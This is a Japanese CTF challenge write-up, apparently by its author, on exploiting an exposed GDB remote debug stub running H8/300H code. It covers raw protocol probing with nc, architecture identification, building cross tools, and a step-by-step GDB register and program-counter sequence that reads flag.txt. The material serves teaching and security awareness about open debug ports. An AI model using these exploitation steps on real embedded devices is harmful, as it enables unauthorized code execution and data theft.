■ 問題の概要 ・GDBでリモート接続することでリモートデバッグが可能なプログラムが動作している. ただしプログラムの実行ファイルは渡されない. ・アーキが不明なので,まずはGDBプロトコルを直接読んだり通信したりして情報を 取得してアーキを特定する.(アーキはH8/300H) 具体的には,以下を行う.ステップ実行をうまく使うことで,エスパーでなくても アーキを特定できる. *GDBリモートプロトコルのmコマンドで,機械語コードを取得する. *GDBリモートプロトコルのgコマンドで,レジスタ値を取得する. *GDBリモートプロトコルのsコマンドで,ステップ実行する. ・アーキが特定できたら,機械語コードを逆アセンブルし解析する. ・そのアーキ向けにGDBをクロスビルドし,ビルドしたGDBでリモート接続する. GDBのコマンドを駆使して,任意コードを実行する. *GDBからのメモリの変更はできないようにしてあるがレジスタ値の変更はできる ので,プログラムカウンタの変更とステップ実行を繰り返すことで,ROPのように 任意コード実行ができる. *もしくは任意コード実行によりメモリ上に実行したいコードを書き込んで, 実行させることもできるはず. ・ただしgdbで接続しなくても,GDBリモートプロトコルを直接送受信することで 任意コードを同様に実行させることは可能なので,gdbでの接続が必須ではない. ・プログラムが動作しているカレントディレクトリの flag.txt というファイルの 内容を取得できたら攻略 (考慮点) ・GDBのプロトコルを直接送受信してアーキ推測するフェーズと, GDBでの解析&任意プログラム実行のフェーズの,2段階の問題にしたい. このためアーキは教えず,アーキ推測の要素を入れる. ・様々なアーキのGDBでブルートフォース的に接続しにいって成功したらそれが目的の アーキとわかる,みたいになるとつまらないので,考慮したい. *cross-CentOS.ova は積極的には教えない. *gdb で set architecture しないとうまく繋がらないが,これはブルートフォース を防止する効果がある(ただ繋いでもうまく操作できない)ので,やはり積極的には 教えない.(gdbで接続できなくても,GDBリモートプロトコル直接送受信で解く こともできるので,gdb接続は必須ではない) ■ サーバへの接続 まず,telnetで接続する. $ telnet micro.pwn.seccon.jp 10000 $T05#b9 競技説明にあるように以下を発行すると,応答が得られる. $ echo '+$g#67+' | nc micro.pwn.seccon.jp 10000 応答を見ることで,GDBリモートデバッグプロトコルだと判断する. GDBリモートデバッグプロトコルのフォーマットは以下. ・「$」で始まり,末尾に#XXでチェックサムがつく ・チェックサムは $〜# にはさまれた,$と#を除いた部分を unsigned char で加算する ・受信したらACKとして「+」を返す.上の例ではサーバから「$T05#b9」を受信した ACKとしてまず「+」を返し,さらに「$g#67」を送信しその応答に対するACKとして また「+」を送信している.ACKを返さないと,次に何か送るたびに前のデータが 再送されてきて新しいリクエストを受け付けてくれない ・コマンドは多数あるが,代表的なのは以下 g ... レジスタ値の一覧を取得 m, ... メモリダンプの取得 s ... ステップ実行(gdbのstepiコマンドに相当) c ... 実行継続(gdbのcontinueコマンドに相当) G ... レジスタ値の設定(gコマンドの逆) M,: ... メモリへの値の書き込み(mコマンドの逆) (注意) ただしMコマンドは無効になっており,エラーを返すようにしてある. これはMコマンドが使えると任意コード注入がものすごく簡単にできて しまいゲームバランスが悪いため. 実機としては,ROM上に機械語コードがあって書き換えできないような 場合を想定している ・コマンドは多数ありgdbで接続するとgdbがいろいろなコマンドを試してくるのだが, コマンドが未サポートの場合はgdb側でよりメジャーなコマンドを使った方法に 自動的に切り替えるので,最低限のコマンド(g,G,m,M,cくらい)を実装していれば gdbから基本的な操作をすることはそれなりに可能 ■ ステップ実行で挙動を見てアーキを特定する 以下でステップ実行してみる. (1回のみ実行) $ echo '+$g#67+$s#73+$g#67+' | nc micro.pwn.seccon.jp 10000 ステップ実行すると,gコマンドで得られたレジスタ値の中で加算されている部分が ある.そこがプログラムカウンタの値だと推測できる.実際に行うとgコマンドの 応答の末尾の部分が値が変化しており,32ビットで読むと0x0付近の値になっている ので,0x0付近のコードが実行されていることがわかる.つまり機械語の実行コードは 0x0付近にある. 以下で0x0付近のメモリダンプを取得する.一度に多量のダンプを取得しようとすると タイマで自動切断されるので,小分けにして取得する. $ echo '+$m0,100#5a+' | nc micro.pwn.seccon.jp 10000 $ echo '+$m100,100#bb+' | nc micro.pwn.seccon.jp 10000 これをアドレスを変更しながら繰り返し行うことで,機械語コードが得られる. さらにステップ実行してみる. (2回実行) $ echo '+$g#67+$s#73+$g#67+$s#73+$g#67+' | nc micro.pwn.seccon.jp 10000 プログラムカウンタの増加ぶんから,実行された命令の命令長を推測できる. 複数回実行すると,プログラムカウンタの値が大きく変化することがある. これはジャンプ命令かリターン命令が実行されたと推測できる. 変化前のプログラムカウンタは,以下の値になっている. 0x1392 この位置に,ジャンプ命令かリターン命令があると推測できる. その場所の機械語コードを見ると,以下の値になっている. 54 70 79 01 ... cross/sample で "54 70" を検索し,ジャンプ命令かリターン命令になっている アーキを探す.(cross/sampleは問題文中でダウンロード先を提示している) $ cd cross/sample $ grep "54 70" *.d → h8300-elf / h8300h-elf が当てはまる. つまりアーキはH8/300(完全な16ビットアーキ)かH8/300H(32ビットレジスタを持つ) のどちらかということがわかる. ■ ステップ実行を繰り返したときの挙動を見る 以下のようにしてステップ実行を繰り返してみる $ perl -e 'print "+\$s#73"x10;' | nc micro.pwn.seccon.jp 10000 $ perl -e 'print "+\$s#73"x20;' | nc micro.pwn.seccon.jp 10000 ... 徐々に増やしていくと,以下のときに「H」という文字が余計に出力されることが わかる. $ perl -e 'print "+\$s#73"x46;' | nc micro.pwn.seccon.jp 10000 このときのプログラムカウンタの値を見てみる. $ perl -e 'print "+\$g#67+\$s#73"x46;' | nc micro.pwn.seccon.jp 10000 プログラムカウンタは 0x000013b0 という値になっている. つまり 0x13b0 の位置の機械語コードに,文字出力処理があるということがわかる. (補足) この操作は,同等のことをgdbから行おうとしても「H」の出力を観測できない ので,GDBプロトコル直接送受信で実施する必要がある.具体的には,gdbでやるならば 以下のようにして実施すれば通信内容を見ながらステップ実行できるが,「H」は ACKの「+」と次コマンド発行の「$」の間に出力されるのでgdbが無視してしまう. (gdb) set architecture h8300h (gdb) set debug remote 1 (gdb) target remote localhost:10000 (gdb) stepi (gdb) stepi (gdb) stepi ...(46回繰り返す) ■ 逆アセンブラのビルド 機械語コードの逆アセンブルのために,binutilsをH8向けにビルドする. 以下は binutils-2.21.1 の例だが,binutilsのバージョンはあまり問わない. $ wget -nd http://kozos.jp/books/asm/binutils-2.21.1.tar.bz2 $ tar xvJf binutils-2.21.1.tar.bz2 $ cd binutils-2.21.1 $ ./configure --target=h8300-elf --disable-werror --disable-nls $ make $ su # make install → /usr/local/bin/h8300-elf-objdump がインストールされる. ■ 実行コードの解析 取得した機械語コードのメモリダンプをバイナリ形式に変換して,dump.bin という ファイルに保存する. (gdbで接続できればメモリダンプをバイナリ形式で取得することができるので, この変換作業が面倒ならば後回しにして,GDBのビルドを先に行ってもよい) dump.bin は,以下で逆アセンブルできる. (アーキにH8/300を指定) $ /usr/local/bin/h8300-elf-objdump -b binary -m h8300 -D dump.bin (アーキにH8/300Hを指定) $ /usr/local/bin/h8300-elf-objdump -b binary -m h8300h -D dump.bin objdump -b binary でのバイナリ逆アセンブルは,-m指定がないとできない. -mに指定できるオプションはobjdump --helpを実行すると出て来る. -m h8300 指定でも逆アセンブルはできるが,32ビットレジスタや32ビット値を 扱っている命令が各所にあるので,32ビットアーキであるH8/300Hであることが 推測できる.(つまり -m h8300hが適切) 逆アセンブル結果を参照し,プログラムを解析する. ■ システムコールの発行方法を推定する open()/read()を呼ぶためのシステムコール呼び出し方法を調べる. 問題文中に,GDBのシミュレータで動作していることを説明してあるので, GDBのH8シミュレータのソースコードを読むことで推測できる. またステップ実行による挙動観測で,0x13b0 の位置に文字出力処理があるということが 推測できている.そこからも推測できる. 具体的には,0x13b0 の付近を参照するとjsrにより不適切なアドレスを関数コールして いる箇所が連続している.これがシミュレータへの特殊要求発行だと推測できる. GDBのH8シミュレータのソースを読むと,このような関数コールを magic trap として 特殊要求として受け付けていることがわかるので,それらを照らし合わせることで, システムコール呼び出し方法を知ることができる. ■ GDBのビルド gdbで接続するとGDBリモートプロトコルを直接送受信しなくて済むので多少楽に 解くことができるので,H8向けのGDBをビルドする. (ただしGDBリモートプロトコルを直接送受信することで解くこともできるので, 必須ではない) 以下は gdb-7.12 の例だが,GDBのバージョンはあまり問わない. $ wget -nd http://www2.kozos.jp/tools/gdb-7.12.tar.gz $ tar xvzf gdb-7.12.tar.gz $ cd gdb-7.12 $ ./configure --target=h8300-elf --disable-werror --disable-nls $ make $ su # make install → /usr/local/bin/h8300-elf-gdb がインストールされる. ■ GDBでの接続 サーバにGDBで接続する. (システム標準の/usr/bin/gdbでなく,ビルドしたGDBを利用すること) set architecture でのアーキ指定無しで target remote コマンドでそのまま接続 すると,gコマンドのパケットサイズ(つまりレジスタのサイズ)が大きすぎるとして エラーになる.エラー時にgコマンドの応答が出力されるがサイズを数えると40バイト ぶんとなっており,H8/300Hのレジスタ数(32ビット×(8+2)個)とは一致している. よってgdbでのアーキ指定がおかしくて,32ビットアーキであるH8/300Hが指定できて おらず,16ビットアーキのH8/300として扱われていると推測できる. ここに気づかない場合には,gdbを使わずにGDBリモートプロトコル直接送受信で 解くことができる.方法は後述. gdbで set architecture でTABを押すと指定可能なアーキ一覧が出るので, H8/300Hを指定する. $ /usr/local/bin/h8300-elf-gdb (gdb) set architecture h8300h (gdb) target remote localhost:10000 ■ 実行コードの取得 接続したらGDBで操作できる. 実行コードはメモリダンプとしてすでに取得できているが, 以下で実行コードをバイナリ形式で取得し,逆アセンブルすることができる. ダンプファイルの逆アセンブルの方法については前述してある. (gdb) info registers → プログラムカウンタの値から,機械語コードがあるアドレスが0x0〜付近である ことがわかる. (gdb) dump binary memory dump.bin 0x0 0x2000 → 機械語コードを取得する → 簡易タイマにより取得が間に合わない場合には,何回かに分けて取得し結合する (gdb) dump binary memory dump0.bin 0x0 0x400 (gdb) dump binary memory dump1.bin 0x400 0x800 (gdb) dump binary memory dump2.bin 0x800 0xc00 (gdb) dump binary memory dump3.bin 0xc00 0x1000 (gdb) dump binary memory dump4.bin 0x1000 0x1400 (gdb) dump binary memory dump5.bin 0x1400 0x1800 (gdb) dump binary memory dump6.bin 0x1800 0x1c00 (gdb) dump binary memory dump7.bin 0x1c00 0x2000 $ cat dump?.bin > dump.bin ■ 任意コードの実行 メモリへの書き込みは廃止してあるのでできない. このためシェルコード流し込みみたいなことはできない. レジスタ値を設定してプログラムカウンタの値を書き換えてステップ実行することで, ROPのように既存の実行コード中の特定のコードをつまみぐいで実行させて, 任意コードを実行させることができる. (もしくはレジスタへの値設定を行い,レジスタ値のメモリへの書き込み処理を上記の 任意コード実行により行ってメモリ上に書き込めば,任意コードを注入することも できる) gdb上で以下のコマンドを実行することで,カレントディレクトリの flag.txt という ファイルをオープンし,readし,読み込んだ結果をダンプすることでフラグを取得 できる. info registers print $r6 = 0x0 print $r5 = ((long)'.' << 24) | ((long)'t' << 16) | ('x' << 8) | 't' print $r4 = ((long)'f' << 24) | ((long)'l' << 16) | ('a' << 8) | 'g' print $pc = 0x000632 stepi stepi stepi x/16c $sp print $r0 = $sp print $r1 = 0 print $r2 = 0 print $pc = 0x0013b6 stepi stepi stepi stepi stepi print $r0 print $r1 = $sp print $r2 = 32 print $pc = 0x0013aa stepi x/32c $sp ■ gdbを使わない解法 GDBリモートプロトコルを直接送受信し,上記のgdb操作で発行しているコマンドと 等価なコマンド発行を自前で行えば,gdbを使わずに解くことができる. レジスタの設定はGコマンドで行える.方法としては,gコマンドでレジスタ値の 一覧を取得し,変更したいレジスタの位置を上書きしてGコマンドで送ればよい. stepiによるステップ実行は,sコマンドで行える.メモリダンプ取得はmコマンドで 行える.チェックサム計算は,$〜#の間の文字を unsigned char で加算することで 可能.これらの方法は前述しているとおり. フラグ取得のサンプルを添付する.(別ファイル参照) getflag.c 以下のようにして利用することで,フラグ取得できる.FreeBSDで検証した. $ gcc getflag.c -o getflag -Wall $ ./getflag micro.pwn.seccon.jp 10000 ■ 想定しているもの 問題としては, 「組込み製品のデバッグポートがうかつに開きっぱなしになっていたら, そこで何をされ得るか?」(アーキ特定から実際のExploitまでできてしまう) という実際のセキュリティ問題を示唆している. 以下のようなものを想定している. ・組込み製品で,デバッグポートの閉じ忘れやデバッグのために残してあるなどの 理由で,シリアルのデバッグポートが開きっぱなしになっていて (もしくは普段は閉じているが特殊コマンドで有効化できるようになっていて), さらに基板上にデバッグ用のシリアルポートの回路が残っていて, シリアルコネクタを半田付けすればデバッグポートにアクセスできたりする ことがある. ・デバッグポートに接続できれば,たとえアーキがわからなくてもGDBリモート プロトコル直打ちでアーキ推測はできる. (そしてダンプ取得とステップ実行を組み合わせれば,それはかなりの精度で できることが,今回のこの問題からわかる) ・アーキ特定できれば,たとえDEPが効いていたり実行コード領域がMMUやスタブで ガードされていたりROM上にあって変更不可だったりしてシェルコード注入できなく ても,プログラムカウンタ書き換えとステップ実行の組合せでROPのようにコードを つまみぐいして,任意コードを組み立てて実行することができる. ・これはデバッグポート(通常はシリアルポート)にアクセスできることを想定している ので機器がネットワークの先でなく目の前にある場合を想定しているが, たとえば屋外に据え置きになっているIoT機器とかでは,夜中にこっそりとこういう ことをやられてしまう懸念がある. もちろんネットワーク経由でデバッグポートにアクセスされてしまえば,同様の ことはネットワーク経由でやられてしまう懸念がある. (逆に言えば,ネットワークに接続されていない製品でも当てはまることなので, ネットワークに繋がっていなければ安全というわけではない,という示唆でもある) ・今回は32ビットRISCマイコンとかでなく16ビットアーキのH8をターゲットに している.このように16ビットアーキや,もちろん8ビットアーキでも同様に 攻撃されることがあり得る. (もっとも実際には32ビットレジスタを持つH8/300Hをターゲットにしているが, ベースは16ビットマイコンとなっている) ■ これで説明はおしまいだけど,これってけっこう難しいかも